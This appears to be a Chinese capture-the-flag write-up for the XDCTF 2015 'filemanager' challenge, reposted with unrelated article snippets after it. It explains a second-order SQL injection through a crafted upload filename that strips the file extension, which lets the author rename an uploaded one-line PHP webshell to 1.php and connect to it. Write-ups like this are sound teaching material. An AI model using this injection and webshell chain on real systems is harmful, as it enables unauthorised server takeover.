[XDCTF 2015]filemanager

news/2024/7/5 3:16:28/文章来源:https://www.cnblogs.com/m1xian/p/18280381

[XDCTF 2015]filemanager

/www.tar.gz​拿到源码

我直接在github上看了https://github.com/CTFTraining/xdctf_2015_filemanager

common.inc.php将传入的所有参数使用addslashes转义函数

image-20240702114905-6lke3gz

然后分析upload.php

使用basename​函数确保文件名中没有目录路径,防止路径遍历攻击。

使用了pathinfo函数,生成包含四部分的数组储存在$path_parts

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>

image-20240702115648-g6pi0sg

array("gif", "jpg", "png", "zip", "txt")

使用了白名单,导致无法上传恶意文件

数据库查询之前也用了addslashes转义函数,但是只转义了pathinfo里的filename部分

接着分析rename.php

image-20240702121824-83eh7ma

这里将第一次查询的filename再次传进数据库造成二次注入,我们可以将extension置空

我们把sql语句都拿出来分析

upload:

"insert into file(filename, view, extension) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')"

转义了{$path_parts['filename']

rename:

$result = $db->query("select * from file where filename='{$req['oldname']}'");

"update filesetfilename='{$req['newname']}', oldname='{$result['filename']}' where fid={$result['fid']}");

无转义

我们上传文件的文件名为,extension='',filename=1.jpg.jpg

image-20240702181754-ayfq44x

可以看到重复赋值也是可以的

image-20240702182250-r394xxn

可以看到更新的数据是第二次的值,第二次的值把第一次的值重置了

upload.php我们传入名为`,`extension`='',`filename`=1.jpg.jpg`的文件名
insert into `file` ( `filename`, `view`, `extension`) values( '\',`extension`=\'\',`filename`=1.jpg', 0, 'jpg')
#至此我们传入了一个名为  ',`extension`='',`filename`=1.jpg.jpg的文件,后缀名为jpgrename.php我们传入oldname=`,`extension`='',`filename`=1.jpg`&newname=1.jpg
$result = select * from `file` where `filename`='',`extension`='',`filename`=1.jpg.jpg'update `file` set `filename`='1.jpg', `oldname`='',`extension`='',`filename`=1.jpg' where `fid`={$result['fid']}"
这时我们数据库里的一行数据就是`filename`=1.jpg', `oldname`='',`extension`='',而上传的文件更名为了1.jpg.jpg
此时我们再次上传1.jpg,数据库中检索的是`filename`=1.jpg', `oldname`='',`extension`='',这条数据,我们此时就成功把文件的后缀去掉了
此时可以给文件任意改名而不会添加后缀了

具体操作:

image-20240702133138-2h15v0l

rename

image-20240702133500-4nhuyxn

sql语句变为"update filesetfilename='1.jpg', oldname='',extension='',filename=1.jpg' where fid={$result['fid']}");

此时就有个1.jpg.jpg​的文件,而数据库里有行filename=1.jpg, extension=''​的数据

上传一个木马文件1.jpg

image-20240702133902-s481ie1

该名为1.php

image-20240702133928-8utf9gd

然后连接一句话木马

image-20240702155315-ql1ac7p

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/736447.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解码未来城市:探秘数字孪生的奥秘

在科技日新月异的今天,"数字孪生"(Digital Twin)这一概念如同一颗璀璨的新星,照亮了智慧城市、智能制造等多个领域的前行之路。本文将深入浅出地解析数字孪生的定义、技术原理、应用场景及未来发展,带您一窥这股引领时代潮流的力量。数字孪生的定义数字孪生,简…

linux系统配置中文字体,playwright中文乱码

复制字段 从本地Windows (C:\Windows\Fonts ) 复制一个中文字体simsun.tcc 在Linux系统上安装字体 yum -y install fontconfig mkdir -p /usr/share/fonts/chinese cd /usr/share/fonts/chinese# 将simsun.tcc上传到/usr/share/fonts/chinese,并修改权限: chmod -R 755 /usr/…

transformer中的attention机制详解

transformer中用到的注意力机制包括self-attention(intra-attention)和传统的attention(cross-attention),本篇文章将在第一节简述这两者的差别,第二节详述self-attention机制,第三节介绍其实现 self-attention和attention的区别 传统attention机制 发生在decoder和enco…

Profibus转Modbus网关在智能化水处理系统优化改造的应用

Profibus协议和Modbus协议作为两种常见的工业通信协议,各自具有一定的优势和适用范围。而通过Profibus转Modbus网关(XD-MDPB100)的加入将两者结合使用,可以实现不同设备之间的无缝连接和数据传输,为罐内压载水处理系统的监控和控制提供了更为便利的解决方案。通过Profibus…

代码随想录算法训练营第四十四天 | 322.零钱兑换 279.完全平方数 139.单词拆分

322.零钱兑换 题目链接 文章讲解 视频讲解class Solution { public:int coinChange(vector<int>& coins, int amount) {// dp[j]: 表示能凑成面额j所需的最少硬币个数vector<int> dp(amount + 1, 0);// 递推公式: dp[j] = min(dp[j - coins[i]] + 1, dp[j])// …

中奖与抽奖次序无关

中奖与抽奖次序无关前言 典例剖析 【人教 2019A 版教材\(P_{262}\) 页习题10.3 第 6 题改编】在一个袋子中放 \(6\) 个白球,\(4\) 个红球,摇匀后随机摸球 \(3\) 次,采用放回和不放回两种方式摸球 . 设事件 \(A_{i}\)=“第 \(i\) 次摸到红球”,\(i=1,2,3\) . (1). 在两种摸球…

为什么 [] == ![] 为 true?

🧑‍💻 写在开头 点赞 + 收藏 === 学会🤣🤣🤣前言面试官问我,[] == ![] 的结果是啥,我:蒙一个true; 面试官:你是对的;我:内心非常高兴; 面试官:解释一下为什么; 我:一定要冷静,要不就说不会吧;这个时候,面试官笑了,同学,感觉你很慌的一批啊!不必慌张…

odoo学习-2

1. 新加自定义模块odoo同级目录下新建my_addons文件夹加入自己的模块(注意:views中也要创建一个xml文件) 2. model代码-写在models下面的py文件中from odoo import api, fields, modelsclass EpidemicRecord(models.Model):_name = epidemic.record # 数据库表明name = fie…

C++定义函数指针,回调C#

C++定义函数指针,回调C#C++定义函数指针。 typedef int (__stdcall * delegate_func)(int a, int b); 暴露接口:int __stdcall CPPcallCSharp(delegate_func func); 方法实现:int __stdcall CPPcallCSharp(delegate_func func) { return func(1,2); } 头文件calculator.h#if…

《DNK210使用指南 -CanMV版 V1.0》第七章 基于CanMV的MicroPython语法开发环境搭建

第七章 基于CanMV的MicroPython语法开发环境搭建章节摘自【正点原子】DNK210使用指南 - CanMV版 V1.03)购买链接:https://detail.tmall.com/item.htm?&id=782801398750 4)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/k210/ATK-DNK210.html 5)…

金蝶云星空字段之间连续触发值更新

场景说明字段A配置了字段B的计算公式,字段B配置了自动C的计算公式,修改A的时候,触发了B的重算,但是C触发不到。 具体需求:配置值更新事件:料本,料本系数, PCBA加工费,整机装配费,税率%【字段A】公式:供应链含税报价 = ( 料本 * 料本系数 + PCBA加工费 + 整…

PaddleNLP UIE 实体关系抽取

目录环境依赖配置SSH克隆代码训练定制代码结构数据标注准备语料库数据标注导出数据数据转换doccanoLabel Studio模型微调问题处理找不到 paddlenlp.trainer找不到GPUprotobuf==3.20.2CUDA/cuDNN/paddle PaddleNLP UIE 实体关系抽取 PaddlePaddle用户可领取免费Tesla V100在线算…

Python对历年高考分数线数据用聚类、决策树可视化分析一批、二批高校专业、位次、计划人数数据|附代码数据

全文链接:https://tecdat.cn/?p=36626 原文出处:拓端数据部落公众号 随着高等教育的普及与竞争的日益激烈,高考作为通往高等教育的重要门槛,其分数线的波动、高校及专业的选择成为了社会广泛关注的焦点。考生和家长在面临众多高校和专业的选择时,往往需要综合考虑多种因素…

阿里228x82y还原之递归数组解密

声明 本文章中所有内容仅供学习交流,抓包内容、敏感网址、数据接口均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 目标网站 某里228 分析逆向流程 228递归函数str解密 原理就是用数组push最后填充下,然…

ffmpeg在Windows上的安装

首先进入官网Download FFmpeg 选择windows版本下载想要的版本 Gyan.dev的版本可能会更符合Windows标准,而BtbN的版本可能会更加开放和跨平台往下拉选择想要的版本进行下载 我下载的是第一个下载好之后解压文件复制bin目录的路径 接着按照下面的顺序进行环境配置,结束后一路确…

leaflet如何把低层级瓦片在高层级显示

https://leafletjs.cn/reference.html#gridlayer使用了maxNativeZoom属性 示例 let map = L.map("map", {attributionControl: false,maxZoom: 18, }).setView([62, -82], 6);let layer_keepLevel_16 = L.tileLayer("url", {minZoom: 1,maxZoom: 18,maxNat…

Java JVM——11. 执行引擎

1.概述执行引擎属于JVM的下层,里面包括:解释器、即时编译器、垃圾回收器。执行引擎是Java虚拟机核心的组成部分之一。“虚拟机”是一个相对于“物理机”的概念,这两种机器都有代码执行能力,其区别是物理机的执行引擎是直接建立在处理器、缓存、指令集和操作系统层面上的,而…

vue3+vite打包优化

1、清除console和debugger 安装 terser插件npm install terser -Dbuild里添加terserOptions配置// 打包环境移除console.log,debugger terserOptions: { compress: { drop_console: true, drop_debugger: true } }, 二、gzip静态资源压缩 第一步:客户端打包开启首先下载 vit…

Java JVM 执行引擎深入解析

1.执行引擎概述执行引擎属于JVM的下层,里面包括:解释器、即时编译器、垃圾回收器。执行引擎是Java虚拟机核心的组成部分之一。“虚拟机”是一个相对于“物理机”的概念,这两种机器都有代码执行能力,其区别是物理机的执行引擎是直接建立在处理器、缓存、指令集和操作系统层面…

Vuex

Vuex 什么是Vuex? 概念:专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对应用中多个组件的共享状态进行集中式管理(读/写),也是组件间通信的方式,且适用于任意组件间通信 之前想要传递数据,可以使用全局事件总线/消息订阅去实现,但是如果有很多组件都想要去读和写…